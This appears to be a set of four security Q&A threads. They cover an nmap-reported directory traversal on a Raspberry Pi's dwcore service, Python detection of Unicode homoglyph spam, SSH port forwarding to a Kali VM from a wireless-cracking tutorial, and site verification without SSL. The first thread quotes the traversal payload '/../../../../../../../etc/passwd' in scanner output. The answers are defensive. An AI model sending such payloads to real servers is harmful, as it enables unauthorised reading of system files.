Preventing Basic Directory Traversal Attack in Linux application I have a Raspberry Pi connected to my network and keep getting this vulnerability warning from my security software. I turned off the apache2 web server on the Pi, which fixed my port 80 issue but have no idea how to fix the remaining port issues (8080 and 8443 below). I need to fix these vulnerabilities without removing my SSH access. Is this easily fixed by adjusting permissions to files or do I need to do something else? My webpage code is written in HTML and PHP if that helps. The webpage is shutdown after it accomplishes its purpose but I am still vulnerable to traversal. How do I fix this? Thanks in advance.

  PORT STATE SERVICE

  22/tcp open ssh

  8080/tcp open http-proxy

  | http-passwd: Directory traversal found.

  | Payload: "/../../../../../../../etc/passwd"

  | Printing first 250 bytes:

  8443/tcp open https-alt

  | http-passwd: Directory traversal found.

  | Payload: "/../../../../../../../etc/passwd"

  | Printing first 250 bytes:

sudo netstat -lptu results are:

NOTE:
"dwcore" is deviceWISE M2M by Telit just adding some more info in case that helps

TO REMOVE "dwcore"

sudo /opt/dw/devicewise stop
sudo /bin/sh/etc/software/dwgateway_raspbian.remove
sudo rm -rf /opt/dw

This simply means that dwcore application which is listening on port 8080 and 8443 are vulnerable to path traversal. Without the knowledge of what that application is, an accurate answer cannot be provided for this.

Having said that, if the application running on those two ports are not used, you can kill those services or add an iptable rule to restrict access to those ports to prevent this.

If that application is needed to run, you will have to fix directory traversal at code level [if that is written by you and have the source available.]

Also to answer your following questions:

  Is this easily fixed by adjusting permissions to files or do I need to
  do something else?

/etc/passwd is supposed to be read by all users on the machine. The issue here is not that it can be read, rather it can be retrieved by someone outside the raspberry pi by connecting to the web application running on port 8080 and 8443. In other words, this is not a permission issue, but an application security issue.

PS: From the question I read that you have created a web application in PHP to run on the raspberry pi, but it it is unclear at this point which port your application is listening on if you have disabled port 80.


Is there a dictionary of visibly similar Unicode characters for Spam processing? I have spam that looks like this:

  мy вυddy'ѕ мoм мαĸeѕ $74/нoυr oɴ тнe lαpтop. ѕнe нαѕ вeeɴ lαιd oғғ ғor
  ѕeveɴ мoɴтнѕ вυт lαѕт мoɴтн нer pαy cнecĸ wαѕ $19420 jυѕт worĸιɴɢ oɴ
  тнe lαpтop ғor α ғew нoυrѕ. нere'ѕ тнe ѕιтe тo reαd мore
  something.com

Obviously this is using Unicode to avoid spam detection.  Are there any ASCII -> Unicode dictionaries that can assist in finding similar letters?

This is a variation of this Stack Overflow answer, but is specific to spam .

I would add to my spam classification algorithm something that detects multiple encodings in the same word/sentence.  E.g., lαѕт having a Latin l, greek/coptic alpha, cyrillic dze, cyrillic te seems very suspicious.  A very quick and dirty thing in python could be done using unicodedata.  That is

>>> unicode_str = u"""мy вυddy'ѕ мoм мαĸeѕ $74/нoυr oɴ тнe lαpтop. ѕнe нαѕ
вeeɴ lαιd oғғ ғor ѕeveɴ мoɴтнѕ вυт lαѕт мoɴтн нer pαy cнecĸ wαѕ $19420 jυѕт
worĸιɴɢ oɴ тнe lαpтop ғor α ғew нoυrѕ. нere'ѕ тнe ѕιтe тo reαd мore something.com"""

>>> import unicodedata
>>> for uc in unicode_str:
        print uc, unicodedata.name(uc).split(' ')[0], unicodedata.category(uc)
м CYRILLIC Ll
y LATIN Ll
  SPACE Zs
в CYRILLIC Ll
υ GREEK Ll
d LATIN Ll
d LATIN Ll
y LATIN Ll
' APOSTROPHE Po
ѕ CYRILLIC Ll
(...)

Where "Ll means lowercase letter" and we only use the first part of the unicode name for letters to get its category.  So then we can do something like

>>> def count_letter_encodings(unicode_str):
        unicode_block_set = set()
        for uc in unicode_str:
            category = unicodedata.category(uc)
            if category[0] == 'L':
                unicode_block = unicodedata.name(uc).split(' ')[0]
                if unicode_block not in unicode_block_set:
                    unicode_block_set.add(unicode_block)
        return len(unicode_block_set)

>>> map(count_letter_encodings, unicode_str.split(' '))
[2, 3, 2, 3, 3, 1, 2, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 3, 0, 3, 2, 1, 2, 3, 2, 1, 2, 3, 2, 2, 3, 2, 2, 2, 1]

The fact that there are several words with 3 different letter encodings is highly suspicious (even two is suspicious).  As well as other suspicious things; e.g., the soft-hyphens alternated by one character (codepoint 0xad) in the .com.

Pulling some brief foreign text samples off the web, you find that most of the time words should only have one encoding:

>>> greek_text = u'Ελληνας ϰαὶ δὴ ϰαὶ γράμματα'
>>> spanish_text = u'¿Cómo estas? Espero que todo esté bien. Hace bastantes años que estoy'
>>> russian_text = u'Все люди рождаются свободными и равными в своем достоинстве и правах. Они наделены'
>>> for text in (greek_text, spanish_text, russian_text):
        print map(count_letter_encodings, text.split(' '))
[1, 1, 1, 1, 1]
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]

Obviously, you would have to thoroughly test with machine learning as there may be benign circumstances where encodings are mixed, but this could be useful input to your spam classifier that's trained on a large dataset.


Why forward a virtual machine with SSH to Putty I have watched a tutorial from Udemy where a guy is show how to crack wireless network.

The person in the video set up a virtual machine Oracle VM VirtualBox
network type NAT

then he forward the Port for the Virtual machine with settings:
Name:SSH
Protocol:TCP
Host Port:2222
Guest Port:22

For Putty he have set for the Session:

IP Adress: localhost
Port: 2222

Also in Kali Linux he have updated rc.d

update-rc.d ssh defaults

service ssh start

though he doesn't explains why to do this.

I Googled a lots of why to do this and also I am interested to know the advantages.

Could pleae someone clarify for me why you want to have this kind of setup?
cause I found it hard to summarize why.

Thank you in advance

Regards

First of all, none of the steps you described are necessary to crack a wireless network. It is the way of working with the Kali Linux VM that the author in the tutorial has chosen. You could also open a terminal in Kali to execute the commands he is running via Putty. If he is using Putty for accessing other Linux machines in his daily work, it is probably the usual way of working with a Linux machine for him.

As you described, he does access the Kali Linux via SSH with Putty in his setup. There are several ways to access a network port of a VirtualBox virtual machine on your host machine.

The way he is using is NAT port forwarding. It is pretty easy to configure if you have already set up a NAT networking interface for your VM.

He is using the port 2222 because it is not possible to bind to ports below 1024 from applications that are not run by root on UNIX systems [1]. (If he is using Windows as his the host system, he could also use port 22.) But connecting to localhost on port 22 with Putty cannot work because the SSH server is forwarded to port 2222.

There other ways, too, such as using the host-only networking [2] or bridged networking feature [3]. Bridging your Kali VM is a thing you may want to avoid, as it exposes the VM to your local network. As a Kali VM has no firewall configured in the default configuration, this could be a security issue. Configuring a host-only network has no disadvantage in comparison to the port forwarding. A reason he may not do it is the higher complexity in the configuration: you need an additional adapter in your VM and on the host, and you need to find the IP address of the guest after booting.

In the updated rc.d part, he does configure the SSH server to start on boot and service ssh start to start it now.

[1] https://www.virtualbox.org/manual/ch06.html#nat-limitations
[2] https://www.virtualbox.org/manual/ch06.html#network_hostonly
[3] https://www.virtualbox.org/manual/ch06.html#network_bridged


Website Authenticity/Verification without SSL Are there any other ways of verifying the web server you're visiting is actually the correct one?
For example, if a domain name's DNS was hypothetically hijacked, and users were directed to a phishing site that took it's place; then they would be none the wiser.

I know SSL does this already. But are there any ways that don't involve the use of SSL?

There's nothing out of the box besides SSL that does this, if you were a web developer you could address it programatically by designing in a verification mechanism that would communicate to specifically designed client software, or maybe a browser plug-in. This seems like quite a bit of work when SSL already does the same thing.